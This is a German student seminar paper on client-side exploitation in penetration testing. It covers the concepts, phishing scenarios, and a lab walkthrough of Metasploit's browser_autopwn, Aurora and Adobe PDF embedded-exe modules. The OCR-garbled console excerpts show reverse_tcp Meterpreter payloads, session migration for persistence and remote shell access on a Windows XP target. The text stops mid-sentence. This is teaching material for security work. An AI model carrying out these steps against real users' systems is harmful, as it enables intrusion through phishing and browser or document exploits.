Fhwed el@

UNIVERSITY OF APPLIED SCIENCES

Seminararbeit

Seminar IT-Sicherheit
Wintersemester 2016/2017

Penetration Testing
Client Side Exploitation

Von: Dozent:

Matthias Wagner Prof. Dr. Gerd Beuster
Fachhochschule Wedel Fachhochschule Wedel
Studiengang: Bachelor Wirtschaftsinformatik FeldstraRe 143
Matrikel-Nummer: 9789 22880 Wedel

E-mail: winf9789@fh-wedel.de E-mail: gb@fh-wedel.de



INHALTSVERZEICHNIS

1 VORWORT ... itiiiiiireirentenieiieiieireiieiniseisetsessesressessessassassassanes 1
2 EINLEITUNG....cciiiiiiiiiiiiieiiiiiieiretiireiresesiesnesesesressssassesassassans 2
3 4 2 110 ] I N 3
3.1 Exploit - Ausfiihrliche Erklarung ........ccccceceieiieiieniincinniennne. 3
SRV £-1 {0 1 D - XV 27{'s] Lo | SN 3
3.3 Client Side EXpPIOits .....cccceiveiieniiiniiieiieiiiniieiiieeieienenee. 4
3.3.1  Schwachstelle.......ccooi e 4
3.3.2  Client Side ATtaCKS ......vvveeeieiiiiee e 5
3.3.3  Client / Server-ArchitektUr. . ... oo e 5
3.3.4 Funktionsweise einer Client Side Attack ........ccccccoviiiiiiiiiinnnnie, 5
3.3.5 Beispielszenarien fiir eine Client Side Attack ...........ccevvveeriiviiiiennnns 5

4 PENETRATION TESTING SOFTWARE........ccccotuiruireirniienieninnnnnees 6
4.1 Exploit-Framework Metasploit ........cccccieniiieiieiiiecieiiennens 7

5 CLIENT SIDE ATTACKS ...c.ceuieiiiiiiiiiiiiiiiireiresresresiesiasiesiassanaes 8
5.1 Browserbasiert......cccccoiiiieiiiiiiiiiiiiiiiiiii e, 8
5.1.1 Metasploit Exploit Option - browser_autopwn..............cccceevvvvvvnnnn.. 9
5.1.2 Metasploit Exploit Option - Aurora exploit.......ccceeevvvviieeeeriiieneennns 11
5.2 Dateibasierter EXploit........cccoiuiiuiiiniiniiiieiiniiinieiianeen. 14
5.2.1 Metasploit Exploit Option - PDF EXPlOit.....ccccevvueeieeiiiiieeeeeiiiieeeees 15
5.2.2 Metasploit Exploit Option - Microsoft Office Exploit - VBScript.....17

6 GEGENMASSNAHMEN ...coeiriiiieiiiiiiiiiiiiiiiiiieiinnieinesnnennens 18

7 LITERATURVERZEICHNIS......cccovuiiiiiiniriiiiiiireiieieeirenceanneanee 19



1 VORWORT

Die Seminararbeit erarbeitet das Thema Client Side Exploitation, anhand des gleichnamigen Kapitels
,Chapter 10: Client Side Exploitation”, aus dem Buch , Penetration Testing” von Georgia Weidman
[1]. Das Kapitel beschaftigt sich mit clientseitiger Ausnutzung von Schwachstellen in Anwendungen,
unter aktiver Beteiligung des Benutzers. Im Gegensatz zu den tblichen Schwachstellen beim Penet-
ration Testing (z.B. dass finden von anfalligen Diensten, indem Ports abhort werden oder das setzen
auf unveréanderte Standardpassworter) werden einige andere Arten zur Ausnutzung von Schwach-
stellen benutzt. Nach einem Uberblick und der einfiihrenden Begriffsklidrung, sowie der Vorstellung
des Exploit Frameworks Metasploit [2], liegt der Fokus der Arbeit auf ,Client Side Attacks”.

Die Attacks um Schwachstellen auf dem Zielsystem auszunutzen, werden mit einem Werkzeug zur
Entwicklung und Ausfiihrung von Exploits durchgefiihrt, dem Metasploit Framework. Die hier vorge-
stellten Exploit Optionen von Metasploit sind:

- Webbrowser: browser_autopwn Modul

- Internet Explorer: ms10_002_aurora Modul

- Adobe Acrobat Reader: adobe_pdf embedded_exe Modul

- Microsoft Office: shikata_ga_nai Modul (,,Da kann man nichts machen”).



2 EINLEITUNG
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Abbildung 1: Aufbau eines Client Side Exploits

Client-Side Exploits greifen keine serverseitigen Dienste an, sondern die Anwendersoftware wie z. B.
Webbrowser oder das Microsoft Office. Der Exploit kann nicht direkt durchgefiihrt werden, da die
Anwendersoftware nicht auf offene Ports im Netzwerk lauscht.

Da keine Eingaben direkt Gber das Netzwerk an clientseitige Programme gesendet werden kénnen,
muss der Benutzer so beeinflusst werden, dass dieser z. B. eine schadliche Datei 6ffnet oder einen
Link anwahlt. Da die Sicherheit eine immer ernstere Rolle spielt und serverseitige Schwachstellen
schwieriger zu finden sind, wird das Ausnutzen von clientseitiger Software zum Schliissel fur den
Zugang zu sorgfaltig geschiitzten Netzwerken.

Der Erfolg der Client Side Attacks ist darauf angewiesen, dass die schadlichen Daten heruntergeladen
werden und in einer Anwendersoftware getffnet werden, die eine Sicherheitsliicke passend zu den
Daten, aufweist.



3 EXPLOIT

Ein Exploit (engl. to exploit: ausbeuten, ausnutzen) ist ein Computerprogramm, dass die Sicherheits-
anfalligkeit beziehungsweise Fehlfunktion eines anderen Computerprogramms ausnutzt, um gezielt
Manipulationen durchzufiihren oder um die Existenz einer Schwachstelle zu beweisen. Eine Manipu-
lation die es dem Angreifer ermoglicht, Zugang zu Daten und Informationen zu erhalten, ist eine
grolSe Gefahr fur die Sicherheit. [3]

Abbildung 2: Sicherheitsanfalligkeit eins Computerprogramms

3.1 EXPLOIT - AUSFUHRLICHE ERKLARUNG

Ein Exploit ist das Ausnutzen der bei der Entwicklung eines Programmes nicht beriicksichtigten
Schwachstellen. Mit Hilfe einer bestimmten Art von Computerprogrammen oder einzelnen Codeblo-
cken, wird dabei versucht eine oder mehrere dieser Sicherheitsliicken in den Programmen, die auf
dem Computer laufen, auszunutzen. Der Zweck eines Exploits ist es sich Zugang zu Systemen zu ver-
schaffen oder in Netzwerke einzudringen und diese weiter zu beeintrachtigen. [4]

Vereinfacht ausgedriickt, kann der Exploit eines Hackers, mit der Brechstange eines Einbrechers
vergleichen. Die Brechstange und der Exploit, bieten die Méglichkeit sich Zugang zu Gegenstanden
oder Dateien zu verschaffen, fiir die keine Berechtigungen vorliegen. [5]

Ein Exploit muss nicht das Ausnutzen einer Sicherheitsliicke sein, sondern kann auch nur eine Si-
cherheitsliicke aufzeigen und diese dokumentieren. Damit kann dann der Softwarehersteller seine
Schwachstelle Gberprifen und schneller schlieRen.

Der Exploit ist also im seltensten Fall eine ausgereifte Software - dem Hacker kommt es in den meis-
ten Fallen darauf an, eine vorliegende Sicherheitsliicke aufzuzeigen. Da sie (iberall zu finden sind,
gehoren zu den am haufigsten angegriffenen Programmen Browser; aber auch Flash, Java und
Microsoft Office sind von Exploits betroffen. [6]

3.2 ZERO DAY EXPLOIT

Zero Day Exploits werden oft fiir Client Side Attacks eingesetzt, es sind unbekannte Sicherheitsli-
cken, die von Hackern entdeckt werden und fiir Exploits missbraucht werden. Um solch eine Attacke
im Vorfeld zu verhindern, versuchen Experten mit verschiedenen Testmethoden, Sicherheitsliicken
im Voraus aufzuspiren und dem Softwarehersteller aufzuzeigen.

Zeit (t) Hersteller
m Liicke Entsteht _- stellt Patch
Verfligung

Abbildung 3: Zeitlicher Ablauf - Zero Day Exploit
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Die Sicherheitsliicke fiir den Zero Day Exploit entsteht bereits bei der Entwicklung eines Program-
mes. Entdeckt jemand (eine Person) eine Sicherheitsliicke und meldet diese nicht direkt dem Soft-
warehersteller, wird die Schwachstelle erst bei einem eventuellen ersten entdecktem Angriff be-
kannt. Es kann also einige Zeit dauern, bis die Hersteller wissen, dass hier ein Problem besteht und
wie dieses gelost werden kann. Der Zero Day Exploit wird eingesetzt, bevor es eine Gegenmalinah-
me, einen Patch gibt. Idealerweise halten Hacker einen Zero Day Exploit lange geheim, um die
Schwachstelle so lange wie moglich an der breiten Masse ausfiihren zu kénnen. [7]

Moralisch korrekte Hacker, die stolz darauf sind einen Zero-Day-Exploit gefunden zu haben, oder
auch Pentration Tester, veroffentlichen den Exploit und somit auch die gefundenen Schwachstellen.
Auf dieser Grundlage kann der Hersteller dann einen Patch fiir die betroffene Anwendung entwi-
ckeln und zur Verfiigung stellen. [8]

Im Internet gibt es einen Markt fiir Exploits, auf dem Zero Day Exploits gehandelt werden. Je nach
Komplexitat, Umfang und Marktwert des betroffenen Systems kénnen hohe Summen erzielt wer-
den. So bietet ein umstrittener Exploit An- und Verkaufer (Zerodium), bis zu 1,5 Millionen US-Dollar
fiir einen iOS 10 Jailbreak. In der Vergangenheit zahlte Zerodium nur 500.000 US-Dollar, um die Si-
cherheitsmalBnahmen des iPhone- und iPad-Betriebssystems zu umgehen. [9]

3.3 CLIENT SIDE EXPLOITS

Lokale Exploits werden von Cyberkriminellen benutzt, um leise im Hintergrund die Kontrolle tiber ein
Computer-System zu erlangen, die meist durch einen harmlosen Besuch einer Website ausgeldst
werden. Schadhafte Widgets nutzen beispielsweise Sicherheitsliicken eines Browsers aus, um ein
Client-System anzugreifen, wenn die Website angezeigt wird. Im Jahre 2010, gab es fast 5 Millionen
infizierten Widgets auf Websites. [10]

3.3.1 Schwachstelle
Wie eine verschlossene Tir, die mit der richtigen Taste oder Kombination gedffnet werden kann, ist
eine Sicherheitsliicke ein Programmfehler, mit dem ein Produkt ausgenutzt werden kann.

Abbildung 4: Die gréRte Schwachstelle - Der Benutzer

Die grofSte Schwachstelle ist derjenige, der jeden Tag Zugriff zu einem Computer-System hat — der
Benutzer. Er hat Zugriff auf die gesamte Anwendungssoftware und das Computer System des Benut-
zers ist meistens weniger gesichert als 6ffentlich zugangliche Server. Das Computer-System des Be-
nutzers verbindet auBerdem das Internet mit dem internen Netzwerk und erméglicht so weitere
Attacken.



3.3.2 Client Side Attacks

Client Side Attacks ist ein Angriff Gber einen Client Side Exploit und sie sind nichts Neues. Dennoch
werden die Werkzeuge und Techniken um sie auszufiihren immer besser. Dies bedeutet, dass die
Angriffe mit immer weniger Aufwand durchzufiihren sind. Solange es moglich ist einen ungepatch-
ten Exploit auszunutzen, besteht die Moglichkeit diesen zu verwenden.

3.3.3 Client/ Server-Architektur

In der traditionellen Client / Server-Architektur, ist der "Client" normalerweise ein Betriebssystem,
auf dem ein Endbenutzer ("Der Benutzer") taglich agiert.

Abbildung 5: Client / Server-Architektur - Der taglich agierende Benutzer

So ein Client-System ist oft eines der verschiedenen Microsoft-Betriebssysteme, z. B. Windows XP,
Vista und Windows 7 sowie 8 und 10. Die Betriebssysteme sind in der Regel mit einer Reihe von An-
wendungsprogrammen versehen, so dass der Mitarbeiter seine komplette tagliche Arbeit durchfiih-
ren kann. Dazu gehéren verschiedene PDF-Reader / Writer, Instant Messenger sowie haufig verwen-
dete Anwendungen wie Internet Explorer oder Firefox Webbrowser mit all ihren Add-ons.

Diese Anwendungen enthalten, neben den Sicherheitsliicken die ein Betriebssystem aufweist, selbst
oft einige Schwachstellen. Client Side Angriffe nutzen das Wissen, das diese Schwachstellen vorhan-
den sind aus und kénnen so mit wenig Aufwand, unter Zuhilfenahme kleiner Software, diese
Schwachstellen ausnutzen.

3.3.4 Funktionsweise einer Client Side Attack

Es gibt viele Moglichkeiten eine Client Side Attack durchzufiihren, oft werden die Angriffe in Verbin-
dung mit Social-Engineering-Techniken, wie Phishing oder Spear-Phishing-Angriffe, durchgefiihrt. [1]
Die Angriffe werden dann oft durch die Verwendung von geschickt formulierten Mails, mit Anhdngen
wie Microsoft Word-Dokumenten, Bilddateien und PDF-Dokumente gestartet. Andere E-Mails ent-
halten einfach diverse Textabschnitte und Hyperlinks.

Die Client Side Angriffe werden z. B. durch einfaches Offnen, von scheinbar harmlosen Dateien, akti-
viert. Den Dateien ist es nicht anzusehen, dass sie schadliche Programmcodes beinhalten. Der Explo-
it, der dann auf dem Client-System ausgefiihrt wird, versucht zunachst eine Sicherheitsliicke in der
Anwendersoftware mit dem die Datei ge6ffnet wurde, auszunutzen. Ziel ist es beispielsweise hohere
Rechte zu erhalten und so weitere schadlichen Codes in das Betriebssystem zu laden und auszufiih-
ren oder weitere Codes aus dem Internet nachzuladen. [11]

Der Exploit ist das Angriffsmittel und der Payload die Anwendung des Angreifers, zu Deutsch Nutz-
last. Diese Nutzdaten werden ausgefiihrt, um die Sicherheitsllicke auszunutzen.



3.3.5 Beispielszenarien fur eine Client Side Attack

3.3.5.1 Browserbasierter Exploit

Email - Link

— E‘—
. = _

Abbildung 6: Ablauszsenario - Browserbasierter Exploit

Der Nutzer erhilt z. B. eine E-Mail von einem scheinbaren Mitarbeiter der Firma. Diese E-Mail, die
das Corporate Design dieser Firma wiederspiegelt, versucht dem Nutzer einzureden, dass es wichtig
ist, den Link zum neuen Mitarbeiterhandbuch zu besuchen. Da der Nutzer nichts Béses ahnt und
selbst der Absender der Mail den Namen der Assistentin der Geschéaftsflihrung tragt, klicken dieser
auf den Link. Darauf wird der Nutzer auf eine legitim gestaltete Website geleitet. Es folgt eine harm-
lose Fehlermeldung, die schnell weggeklickt wird. An diesem Punkt ist eine Sicherheitsliicke in dem
Client-System bereits ausgenutzt worden und der Angreifer hat unbemerkt Zugriff auf das Betriebs-
system erlangt.

Das Beispiel geht davon aus, dass der benutzte Webbrowser eine ungepatchte Schwachstelle oder
sogar einen Zero Dayexploit aufweist. Es wurde also nicht die neueste Version des Internet Browsers
genutzt, die eine ungepatchte Schwachstelle enthalt, die den Angreifern erlaubt die volle Kontrolle
Uber lhr System zu erlangen.

Diese Art von Client Side Angriffen wird als "Browserbasiert" oder "Webbasiert" bezeichnet.
Beim Besuch der boswilligen Website wird ein bosartiger Code ausgefiihrt, der eine Schwachstelle
im Webbrowser ausnutzt.

3.3.5.2 Dateibasierter Exploit

Der Benutzer erhalt eine E-Mail von einem anderen scheinbaren legitimen Benutzer. Die E-Mail er-
klart, dass es wichtig sei, dass die neue Verfahrensanweisung im angehangten PDF-Dokument gele-
sen wird. Nach 6ffnen des Dokuments startet gleichzeitig der schadhafte Inhalt des Dokuments. An
diesem Punkt ist eine Sicherheitsliicke in dem System bereits ausgenutzt worden und der Angreifer
hat Zugriff auf das Betriebssystem.

Das Beispiel geht davon aus, dass eine Version von einem PDF-Reader verwendet wird die Schwach-
stellen aufweist. Viele Schwachstellen bestehen beim Acrobat Reader und anderen PDF-Reader-
Anwendungen, so dass der Angreifer erfolgreich die Kontrolle Gber einen Computer, ohne das Wis-
sen der Benutzer (ibernehmen kann.



4 PENETRATION TESTING SOFTWARE

Ein Penetrationstest, Pen-Test, ist ein Angriff auf ein Computersystem, um einen umfassenden Si-
cherheitstest durchzufiihren. Der Penetrationstest sucht nach Sicherheitsschwéachen einzelner Rech-
ner oder Netzwerken um diese aufzuzeigen.

Abbildung 7: Penetration Testing - Suche nach Sicherheitsschwachen

Beim Penetrationstest werden die installierten Anwendungen, wie zum Beispiel Webanwendung
und Mailserver, beziehungsweise die zugrunde liegenden Systeme wie zum Beispiel Betriebssysteme
und Datenbanken, auf Sicherheitsliicken tGberpriift. Dabei werden Penetrationstestwerkzeuge als
Teil eines Penetrationstests verwendet, um bestimmte Aufgaben zu automatisieren, die Testeffizienz
zu verbessern und die dabei helfen moglichst alle Angriffsmuster nachzubilden, die unter Verwen-
dung manueller Analysetechniken allein schwierig nachzustellen sind.

41 EXPLOIT-FRAMEWORK METASPLOIT

Das Metasploit-Projekt ist ein Open Source Projekt, dass eine 6ffentliche Ressource fir die Erfor-
schung von Sicherheitsliicken bietet und Code entwickelt, der es zum Beispiel einem Netzwerkadmi-
nistrator ermoglicht, in sein eigenes Netzwerk einzudringen, um Sicherheitsrisiken zu identifizieren
und zu dokumentieren, welche Schwachstellen zuerst behandelt werden mussen. [12]

Neben der Tatsache, dass Software wie Metasploit ein frei verfligbares Tool flir Administratoren ist,
um ihre Netze abzusichern und Patches einzuspielen um somit letztlich fiir mehr Sicherheit zu sor-
gen, kann das Metasploit Framework aber auch als Fluch gesehen werden. Denn es ermoglicht selbst
einem Laien zu hacken. [13]

Die Anwendung vom Metasploit-Framework gliedert sich in grundlegende Schritte:

1. Exploit auswéhlen / konfigurieren < metasploit >

2. Optionale Verwundbarkeitsprifung

3. Payload \ .,

4. Ausfiihrung \ (00)____
5. Weiteres Vordringen auf dem Zielsystem. () N

Abbildung 8: Metasploit - Logo
Diese Modularitat, die es erlaubt, jeden Exploit mit jeder kompatiblen Nutzlast zu kombinieren, ist
einer der groBen Vorteile des Frameworks, da es eine Trennung der Aufgaben von Entwicklern (von
Nutzlasten und Exploits) und Angreifern ermdglicht. [2]



5 CLIENT SIDE ATTACKS

Die Frage die sich sollt ist, wie kann man an einer Firerwall vorbei kommen, wenn man in ein frem-
des Netz eindringen mochte. Heutzutage ist eine Firewall ein wesentlicher Bestandteil moderner
Sicherheitslosungen. Neben der Firewall die ein Netzwerk schiitzt, haben die meisten Computer, vor
allem die Windows basierten Betriebssysteme, einen Paketfilter eingebaut.

Abbildung 9: Client Side Attacks - Umgeben einer Firewall

Die Basis Funktionalitdt der Firewall ist es das Netzwerk hinter ihr zu schitzen, dazu wird der herein-
kommende traffic gefiltert, welches das Exploiten schwierig macht. Wenn man also nicht von aufRen
Hereinkommen, warum macht man es dann nicht anders herum, eine Attacke von innen heraus.

Bei den folgenden Beispielen fiir Exploits, wo die Nutzlasten selber zu konfigurieren ist, wird haufig
die reverse_tcp Option konfiguriert. Eine Reverse Connection wird gewdhnlicher weise dazu ver-
wendet um Einschrdankungen fiir offene Ports zu umgehen. Die Firewall blockiert in der Regel einge-
hende Verbindungen, Sie blockiert jedoch nicht den ausgehenden Datenverkehr. Im Gegensatz zu
einer normalen Verbindung, ein Client verbindet sich iber einen offenen Port zu einem Server, 6ff-
net der Client den Port, mit dem der Server eine Verbindung herstellt.

Die folgenden Seiten werden Client Side Angriffe behandeln, dafiir werden einige clientseitige Explo-
its grindlich erldutert, beginnend mit dem, was eines der beliebtesten Ziele fiir clientseitige Exploi-
tation ist, der Webbrowser.

5.1 BROWSERBASIERT

Webbrowser sind programmiert worden um Webseiten anzuzeigen. So wie ein Angreifer fehlerhafte
Eingaben an einen Server senden kann, kann der Benutzer dazu benutzt werden um mit dem
Webbrowser manipulierte Webseiten Aufzusuchen um Sicherheitsliicken auszunutzen.

Abbildung 10: Client Side Attacks - Sicherheitsliicken im Webbrowser ausnutzen
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5.1.1 Metasploit Exploit Option - browser_autopwn

Das browser_autopwn Modul, eine Option die in Metasploit Verfligbar ist, 1adt alle bekannten Brow-
ser und Browser Add On Exploit Module und wartet auf einen Browser, der eine Verbindung zum
Server herstellt. Sobald der Browser eine Verbindung herstellt, werden alle geladenen Exploits aus-
gefiihrt.

Starten vom Metasploit service

prosvc.
thin.

/metasp

auxiliary/server/browser autopwn
) >

msf auxiliary(

s (auxilia

for
n on. e [ 1 machine.

auxiliary (
192.

msf auxiliary(
URIPATH => harmlos

)

e execution

Obfuscating initial j
msf auxiliary(browser auto

tarting exploit modu

--- Done, found 16 exploit modu




Die gewdhlten Optionen fiir dieses Modul sind Standarteinstellungen fiir clientseitige Angriffe. Der
LHOST, die IP-Adresse die das Opfer in seinem Webbrowser aufrufen soll, wurde auf die Attacker-
Adresse gesetzt, unsere IP-Adresse. (192.168.1.216)

URIPATH, die Identifizierung des abstrakten Bezeichners fiir diese Attacke, haben wir auf etwas ein-
fach zu merkendes, sowie harmloses gesetzt. (harmlos).

Der Client ruft dann die URL auf

2N Loading - Microsoft Internet Explorer,

Datei Bearbeiten Ansicht  Faworiben  Extras 7 oy
. b A l_\J _lnL . ; _\ ‘J’
e Zuriick = \_/J \ﬂ @ L lﬁ 7 Suchen \}\( Favoriten ﬁ‘l i _i
fdresse |:Ej http: /192, 168.1.216:8080harmlos v| Wechselnzu  Links
@ Fertig ﬂ Internek

‘s Start 4} Loading - Micr

Abbildung 11: Internet Explorer - Ansurfen der URL

Windows Xp ist nicht das aktuellste Betriebssystem und Microsoft hat den Support von Windows XP
eingestellt, dennoch wird dieses Betriebssystem weiterhin verwendet.

Der Server erkennt den Aufruf im Browser unter Windows XP und sendet alle Exploits

rability

Da eine Sicherheitsliicke erkannt wurde wird die Nutzlast als Meterpreter Session konfiguriert um
Uber eine SSL-Verbindung Kontrolle tiber den Zielrechner zu erlangen.

Typischerweise wird sobald eine Session auf ist, die Meterpreter Session in einen anderem Prozess
migrieren. Das wird gemacht, da es passiert, dass sich der Browser aufhdangt und abstiirzt. Wenn das
geschieht ist die Meterpreter Session ebenfalls verloren und der Angriff war umsonst. In diesem Fall
wurde die notepad.exe aufgerufen und die Meterpreter Session ist in den Prozess migriert. Das Ver-
fahren zur Migration wird im nachsten Beispiel detaillierter aufgegriffen.
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Laufende Sitzungen um auf des Attackierte System zuzugreifen

msf auxiliary(

5:1099

In diesem Fall wurden vier neue Sitzungen erstellt. Nicht schlecht fiir so wenig Arbeit.
Erforschung gehackter Systeminformationen

) > sessions -i 1

meterpreter > sysinfo
> : MATTHIAS-EO51E7
: Windows XP (Build 2600, Service Pack 3).

n P o

XP [Version 5.

-2001 Microso

C:\Dokumente und Einstellungen\Administrator\Desktop>

5.1.2 Metasploit Exploit Option - Aurora exploit

Angreifer nutzten eine Sicherheitsliicke im Internet Explorer aus. Betroffene Versionen des
Webbrowsers sind 6, 7 und 8. Die Sicherheitsliicke ldsst sich missbrauchen, um tber eine manipulier-
te Webseite Code in einen Windows-System zu schleusen und zu starten. Es wurde ein Trojaner-
Downloader eingeschleust, der dann (ber eine SSL-gesicherte Verbindung weitere Module von ei-
nem Server |adt, unter anderem eine Backdoor, mit der die Angreifer aus der Ferne Zugriff auf den
Rechner hatten. [14]

Der Exploit der unter dem Codenamen "Aurora" ablief, wurde im Jahr 2010 gegen grofRe Unterneh-
men wie Google, Adobe und Yahoo und dutzende weiteren US-Firmen eingesetzt. Der Internet Ex-
plorer enthielt zum Zeitpunkt der Angriffe eine Zero Day Schwachstelle die nach bekannt werden
umgehend mit einem Update geschlossen werden konnte. Da nicht alle Systeme einem Update un-
terzogen wurden, ist davon auszugehen, dass diese Sicherheitsliicke heute noch auf vielen Systemen
existiert.

Wir werden Metasploit mit dem ms10_002_aurora Modul verwenden, um die Kontrolle liber einen

Zielcomputer zu libernehmen, der einen Browser benutzt, der diese Sicherheitsliicke nicht durch ein
Update geschlossen hat. Dazu werden wir wieder einen Server aufsetzen, auf dem dann zugegriffen
werden soll.

Starten von Metasploit und Aufruf vom Aurora Modul in Metasploit

:~# service metasploit start

msf >

msf exploi ) >

11



Optionen vom Aurora Modul

msf exploit( ) > show options

Module options
Name

be an add on the cal machine or 0.0.0.0

Solange das Zielsystem einen Internet Explorer mit der ausgenutzten Schwachstelle vom Aurora
Exploit aufweist, funktioniert der Exploit unabhangig von der Version von Windows, da die Ausnut-
zung vollstandig innerhalb des Browsers stattfindet.

Setzen der Optionen fiir unsere Attacke

SRVHOST 192.168.1.216
SRVPORT 80
aurora

msf exploit( ) set pa windows/meterpreter/revers,_tcp
payload => windows/meterpreter/rever
msf exploit( 8.1.216
LHOST => 192.168.1.216
msf exploit( ) > exploit
Exploit running as background job.

Started reverse handler on 5 1.216:4444
Using URL: http://192 68 0/aurora
Server started.

Zusatzlich zu den Standarteinstellungen haben wir auch eine Nutzlast konfiguriert. Nach den Einstel-
lungen fihrt man das Modul aus und es wird ein Webserver mit dem gewadhltem SRVPORT und dem
gesetzten URIPATH gestartet.

Aufruf der Website mit dem Internet Explorer auf dem Windows XP-Ziel
&) hetp:f192.165.1. 216 /aurora

In Metasploit ist zu sehen, dass die Seite besucht wurde und versucht wird die Sicherheitsliicke aus-
zunutzen.

192.168.1.205 ms10 002 aurora - Sendin
Sending stag 69024 bytes) to 192.168.1

Meterpreter c i 2 1.216:4444 -> 192.168.1.205:1060)

Hinweis:
Obwohl das vorliegende Windows XP System die Sicherheitsliicke aufweist, kann es vorkommen das
mehrere Anldaufe unternehmen werden muss um den Browser erfolgreich auszunutzen.

Wenn eine erfolgreiche Verbindung aufgebaut werden konnte, kdnnen wir mit sessions -i 1 zu der
Sitzung wechseln. Die Sicherheitsliicke im Internet Explorer wurde zu diesem Zeitpunkt erfolgreich
ausgenutzt und obwohl wir einen FuR in die Tire stellen konnten, hat der Exploit im Internet Explo-
rer unter Windows XP der mit unserer Sitzung verbunden ist, den Prozess zum Abstiirzen gebracht.
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Programm beenden - http://192.168.1.216/auror... E
@ D'as Programm reagiert nicht.

Klicken Sie auf "Abbrechen", um zu Windows
zuriickzukehren und den Status des Programms zu
uberpriifen.

Wechselt man jetzt also zuriick auf das Zielsys-
tem, die Windows XP-Maschine, und versucht
mit dem Internet Explorer fortzufahren, wird
man feststellen, dass er nicht mehr funktioniert.
Da der Webbrowser nicht mehr funktioniert

wird der Anwender das Programm mit grolRer
Wabhrscheinlichkeit beenden. Das Problem dabei
ist, dass wenn der Internet Explorer geschlossen
wird auch unsere Meterpreter Session geschlos-
sen wird.

“wenn Sie das Programm sofort beenden, gehen nicht
gespeicherte Daten gegebenentalls verloren, Klicken Sie
aul "Safort beenden", urm daz Programm jetzt zu beenden.

Sofart beenden | Abbrechen |

Abbildung 12: Fehlermeldung - Internet Explorer

Da unsere Meterpreter-Nutzlast im Speicher vom Internet Explorer liegt, beendet sich auch unsere
Sitzung wenn der Browser geschlossen wird.

msf exploit( ) > sessions -i 1
Starting interaction with 1...

*

===@nip==="5

meterpreter > 192.168.1.205 - Meterpreter session 1 closed. Reason: Died

Es wird ein Weg benétigt um die Meterpreter Session aufrecht zu erhalten, wenn der ausgenutzte
Prozess geschlossen wird. Um eine Neukonfiguration der Optionen vornehmen zu kdnnen muss der
Webserver zunachst gestoppt werden.

Mittels Jobs werden alle alle im Hintergrund laufenden Prozesse von Metasploit aufgerufen. Um
einen im Hintergrund laufenden Job anzuhalten, wird kill <job number> verwendet.

msf exploit(
Job

Id Name

Exploit: windows /browser/msl@;& 02_aurora

msf exploit( ) >kill 0

Da sich der Meterpreter Prozess beendet wenn sich die Anwendung auf dem attackierten System
schlieRt, wird ein Weg bendtigt um die Sitzungsdaten in einen anderen Prozess zu migrieren, der
weiter bestehen bleibt wenn der Webbrowser geschlossen wird.

Um das zu erreichen stellt Metasploit weitere Skripte zur Verfligung die automatisch ausgefiihrt
werden, sobald eine Sitzung aufgebaut wurde. Dazu wird das migtare.rb Skript als AutoRun Script
hinzugefiigt und der Webserver erneut gestartet.

exploit( ) > set AutoRunScript migrate -f
1toRunScript => migrate -f

exploit( > exploit

Exploit running as background j
Started reverse hand

ing URL: http://192.168.1.216:80/aurora
Server started

1.216:4444

Wenn das angegriffene Windows System den Internet Explorer Prozess jetzt schlieft, bleibt unsere
Sitzung, wenn das Skript erfolgreich ausgefiihrt wurde, in einen neuen Prozess auf dem angegriffe-
nen System bestehen. Besucht man die Webseite von unserem boswilligem Webserver erneut, wird
die Verbindung automatisch erkannt und das Migrationsskript wird ausgefihrt.
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m\lO _002_aurora - Sending Internet Explorer "Aurora" Memory Corruption
to 192.168.1.205
(192.168.1. 4444 -> 192.168.1.205:1095)
6:4444 -> 192.168.1.205:1095) pro sing AutoRunScript 'migrate -f'

t s X re.exe (512)
ning no E

ing to 1004

sfully migrate

Das Migrationsskript migrate.rb wurde automatisch ausgefiihrt und erstellt einen neuen Prozess auf
dem Angegriffenen System. Die notepad.exe wird als Standarteinstellung aufgerufen und die Sit-
zungsdaten migrieren in diesen Prozess. Wenn sich jetzt der Prozess des Internet Explorers beendet,
bleibt unsere Sitzung bestehen.

Interaktion mit der gedffneten Sitzung

) > sessions

Information Connection

.205:1095

msf exploit(

Starting interaction with 4...

meterpreter > shell
Pr

[Version 5.
S 001 Mi
:\Dokumente und Einstellungen\Administrator\Desktop>

5.2 DATEIBASIERTER EXPLOIT

Nun schauen wir uns einige andere clientseitigen Software an, die ausgenutzt werden kann um die
Befehlsgewalt auf einem Zielsystem zu erlangen. Dateibasierte Exploits sind ausnutzbare Schwach-
stellen innerhalb einer bestimmten Anwendung, wie z. B. ein Adobe PDF-Dokument.

PDF
W

Abbildung 13: Client Side Attacks - Sicherheitsliicken in Anwendersoftware ausnutzen

Diese Klasse von Client Side Exploits stiitzt sich wieder auf einen Benutzer, der eine schadliche Datei
in einer anfalligen Anwendung 6ffnet. Die schadlichen Dateien kénnen im Internet verfiigbar sein
oder per E-Mail versendet werden.

Datei Format Exploits kénnten ein Microsoft Word Dokument sein, eine PDF, ein Bild oder irgendet-
was anderes, das moglicherweise eine Anwendersoftware hat, die anfallig ist.
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5.2.1 Metasploit Exploit Option - PDF Exploit

Portable Document Format (kurz PDF) Software weildt je nach Version und Hersteller unterschiedli-
che Schwachstellen auf, die ausgenutzt werden kénnen. Wenn man es schafft, ahnlich wie bei den

Browserbasierten angriffen, dafiir zu sorgen, dass ein bosartiges PDF-Dokument mit einer anfalligen
Software geoffnet wird, kann eine bestehende Sicherheitsliicke in der Software ausgenutzt werden.

Einer der meist verbreitetsten PDF-Viewer flir Windows-Systeme ist der Adobe Acrobat Reader. Wie
bei den Webbrowsern, hat der Adobe Reader eine Vielzahl von Sicherheitsliicken, die ausgenutzt
werden kénnen. Ahnlich wie bei den vorhergegangen Browser Beispielen wird das Updaten der PDF-
Viewer vernachlassigt, so bleiben obwohl das zugrunde liegenden Betriebssystem selbst geupdatet
wird die Sicherheitsliicken im PDF-Viewer bestehen. [1]

Die betroffene Versionen des PDF-Viewers ist hier der Adobe Reader 8.1.2. Sie ist anfallig fiir einen
PDF Embedded Executable Exploit. Der Exploit wird mit dem adobe_pdf _embedded_exe Modul von
Metasploit ausgefiihrt. Mittels diesem Modul wird eine PDF erstellt und zum Runterladen zur Verfi-
gung gestellt. Sobald das geladene Dokument gedffnet ist, wird der User um die Erlaubnis gebeten
die eigebettete Datei auszufiihren. Der Erfolg der Attacke hdngt also davon ab, dass der User die
Ausfiihrung erlaubt.

Aufrufen des Exploits in Metasploit

msf > use exploit/windows/fileformat/adobe pdf embedded exe
msf exploit( ) > show options

Module options (exploit/windows/fileformat/adobe pdf embedded exe):

Name

The Input PDF £

ge to display in the File: area

Dieses Modul bietet die Moglichkeit eine Ausflihrbare Datei, *.exe, einzusetzen. Da diese Nutzlast
frei zu wahlen ist verzichten wir hier auf diese Option. Der Dateiname, der angezeigt wird, kann op-
